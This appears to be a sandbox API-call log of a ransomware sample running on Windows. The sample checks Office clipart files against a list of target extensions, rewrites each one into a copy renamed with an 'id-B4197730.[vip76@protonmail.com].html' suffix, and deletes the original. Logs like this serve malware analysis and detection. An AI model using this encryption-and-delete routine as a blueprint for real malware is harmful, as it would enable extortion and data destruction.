	[0199.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.242] lstrlenW (lpString=".zip") returned 4
	[0199.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.242] lstrlenW (lpString=".rar") returned 4
	[0199.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.242] lstrlenW (lpString=".bz2") returned 4
	[0199.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.242] lstrlenW (lpString=".7z") returned 3
	[0199.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.243] lstrlenW (lpString=".dbf") returned 4
	[0199.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.243] lstrlenW (lpString=".1cd") returned 4
	[0199.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.512] lstrlenW (lpString=".jpg") returned 4
	[0199.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.525] lstrlenW (lpString=".doc") returned 4
	[0199.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.525] lstrlenW (lpString=".docx") returned 5
	[0199.525] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.525] lstrlenW (lpString=".pdf") returned 4
	[0199.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.525] lstrlenW (lpString=".xls") returned 4
	[0199.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.525] lstrlenW (lpString=".xlsx") returned 5
	[0199.525] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.526] lstrlenW (lpString=".ppt") returned 4
	[0199.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.537] lstrlenW (lpString=".zip") returned 4
	[0199.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.537] lstrlenW (lpString=".rar") returned 4
	[0199.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.537] lstrlenW (lpString=".bz2") returned 4
	[0199.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.537] lstrlenW (lpString=".7z") returned 3
	[0199.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.537] lstrlenW (lpString=".dbf") returned 4
	[0199.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.537] lstrlenW (lpString=".1cd") returned 4
	[0199.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0199.537] lstrlenW (lpString=".jpg") returned 4
	[0199.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.538] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0199.538] lstrlenW (lpString="J0145212.JPG") returned 12
	[0199.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.412] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=61633) returned 1
	[0200.412] CloseHandle (hObject=0x5d8) returned 1
	[0200.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 0x220
	[0200.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0200.512] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.526] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0200.540] GetLastError () returned 0x0
	[0200.540] ReadFile (in: hFile=0x508, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xf0c1, lpOverlapped=0x0) returned 1
	[0200.544] WriteFile (in: hFile=0x4cc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xf0d0, lpOverlapped=0x0) returned 1
	[0200.546] ReadFile (in: hFile=0x508, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.546] WriteFile (in: hFile=0x4cc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.546] SetEndOfFile (hFile=0x4cc) returned 1
	[0200.546] CloseHandle (hObject=0x4cc) returned 1
	[0200.547] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.547] SetEndOfFile (hFile=0x508) returned 1
	[0200.550] CloseHandle (hObject=0x508) returned 1
	[0200.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1
	[0200.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.552] lstrlenW (lpString=".doc") returned 4
	[0200.552] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.552] lstrlenW (lpString=".docx") returned 5
	[0200.552] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0200.552] lstrlenW (lpString=".pdf") returned 4
	[0200.552] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.552] lstrlenW (lpString=".xls") returned 4
	[0200.552] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.552] lstrlenW (lpString=".xlsx") returned 5
	[0200.552] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0200.552] lstrlenW (lpString=".ppt") returned 4
	[0200.552] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.552] lstrlenW (lpString=".zip") returned 4
	[0200.552] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.552] lstrlenW (lpString=".rar") returned 4
	[0200.552] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.552] lstrlenW (lpString=".bz2") returned 4
	[0200.552] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.552] lstrlenW (lpString=".7z") returned 3
	[0200.552] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.552] lstrlenW (lpString=".dbf") returned 4
	[0200.552] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.552] lstrlenW (lpString=".1cd") returned 4
	[0200.552] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.553] lstrlenW (lpString=".jpg") returned 4
	[0200.553] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.553] lstrlenW (lpString=".doc") returned 4
	[0200.553] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.553] lstrlenW (lpString=".docx") returned 5
	[0200.553] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0200.553] lstrlenW (lpString=".pdf") returned 4
	[0200.553] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.553] lstrlenW (lpString=".xls") returned 4
	[0200.553] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.553] lstrlenW (lpString=".xlsx") returned 5
	[0200.553] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0200.553] lstrlenW (lpString=".ppt") returned 4
	[0200.553] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.553] lstrlenW (lpString=".zip") returned 4
	[0200.553] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.553] lstrlenW (lpString=".rar") returned 4
	[0200.553] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.553] lstrlenW (lpString=".bz2") returned 4
	[0200.553] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.553] lstrlenW (lpString=".7z") returned 3
	[0200.553] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.553] lstrlenW (lpString=".dbf") returned 4
	[0200.553] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.553] lstrlenW (lpString=".1cd") returned 4
	[0200.554] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0200.554] lstrlenW (lpString=".jpg") returned 4
	[0200.554] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.554] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.554] lstrlenW (lpString="J0145810.JPG") returned 12
	[0200.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0200.555] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=36792) returned 1
	[0200.555] CloseHandle (hObject=0x508) returned 1
	[0200.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 0x220
	[0200.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0200.556] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.556] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0200.557] GetLastError () returned 0x0
	[0200.557] ReadFile (in: hFile=0x508, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x8fb8, lpOverlapped=0x0) returned 1
	[0200.611] WriteFile (in: hFile=0x4cc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x8fc0, lpOverlapped=0x0) returned 1
	[0200.613] ReadFile (in: hFile=0x508, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.613] WriteFile (in: hFile=0x4cc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.613] SetEndOfFile (hFile=0x4cc) returned 1
	[0200.629] CloseHandle (hObject=0x4cc) returned 1
	[0200.632] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.632] SetEndOfFile (hFile=0x508) returned 1
	[0200.669] CloseHandle (hObject=0x508) returned 1
	[0200.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1
	[0201.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.362] lstrlenW (lpString=".doc") returned 4
	[0201.362] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0201.362] lstrlenW (lpString=".docx") returned 5
	[0201.362] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0201.362] lstrlenW (lpString=".pdf") returned 4
	[0201.362] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0201.362] lstrlenW (lpString=".xls") returned 4
	[0201.362] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0201.362] lstrlenW (lpString=".xlsx") returned 5
	[0201.362] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0201.362] lstrlenW (lpString=".ppt") returned 4
	[0201.362] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0201.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.362] lstrlenW (lpString=".zip") returned 4
	[0201.362] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0201.362] lstrlenW (lpString=".rar") returned 4
	[0201.362] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0201.362] lstrlenW (lpString=".bz2") returned 4
	[0201.362] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0201.362] lstrlenW (lpString=".7z") returned 3
	[0201.362] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0201.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.363] lstrlenW (lpString=".dbf") returned 4
	[0201.363] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0201.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.363] lstrlenW (lpString=".1cd") returned 4
	[0201.363] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0201.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.363] lstrlenW (lpString=".jpg") returned 4
	[0201.363] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0201.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.363] lstrlenW (lpString=".doc") returned 4
	[0201.363] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0201.363] lstrlenW (lpString=".docx") returned 5
	[0201.363] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0201.363] lstrlenW (lpString=".pdf") returned 4
	[0201.363] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0201.363] lstrlenW (lpString=".xls") returned 4
	[0201.363] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0201.363] lstrlenW (lpString=".xlsx") returned 5
	[0201.363] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0201.363] lstrlenW (lpString=".ppt") returned 4
	[0201.363] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0201.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.363] lstrlenW (lpString=".zip") returned 4
	[0201.363] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0201.363] lstrlenW (lpString=".rar") returned 4
	[0201.363] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0201.363] lstrlenW (lpString=".bz2") returned 4
	[0201.363] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0201.363] lstrlenW (lpString=".7z") returned 3
	[0201.363] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0201.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.364] lstrlenW (lpString=".dbf") returned 4
	[0201.364] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0201.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.364] lstrlenW (lpString=".1cd") returned 4
	[0201.364] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0201.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0201.364] lstrlenW (lpString=".jpg") returned 4
	[0201.364] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0201.364] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0201.364] lstrlenW (lpString="J0149118.JPG") returned 12
	[0201.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0201.365] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=64802) returned 1
	[0201.365] CloseHandle (hObject=0x460) returned 1
	[0201.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220
	[0201.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0201.365] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.366] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0201.648] GetLastError () returned 0x0
	[0201.648] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xfd22, lpOverlapped=0x0) returned 1
	[0201.662] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xfd30, lpOverlapped=0x0) returned 1
	[0201.664] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.664] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0201.664] SetEndOfFile (hFile=0x5bc) returned 1
	[0201.665] CloseHandle (hObject=0x5bc) returned 1
	[0201.665] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.665] SetEndOfFile (hFile=0x460) returned 1
	[0201.669] CloseHandle (hObject=0x460) returned 1
	[0201.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1
	[0201.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.670] lstrlenW (lpString=".doc") returned 4
	[0201.670] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0201.670] lstrlenW (lpString=".docx") returned 5
	[0201.670] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0201.670] lstrlenW (lpString=".pdf") returned 4
	[0201.670] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0201.670] lstrlenW (lpString=".xls") returned 4
	[0201.671] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0201.671] lstrlenW (lpString=".xlsx") returned 5
	[0201.671] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0201.671] lstrlenW (lpString=".ppt") returned 4
	[0201.671] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
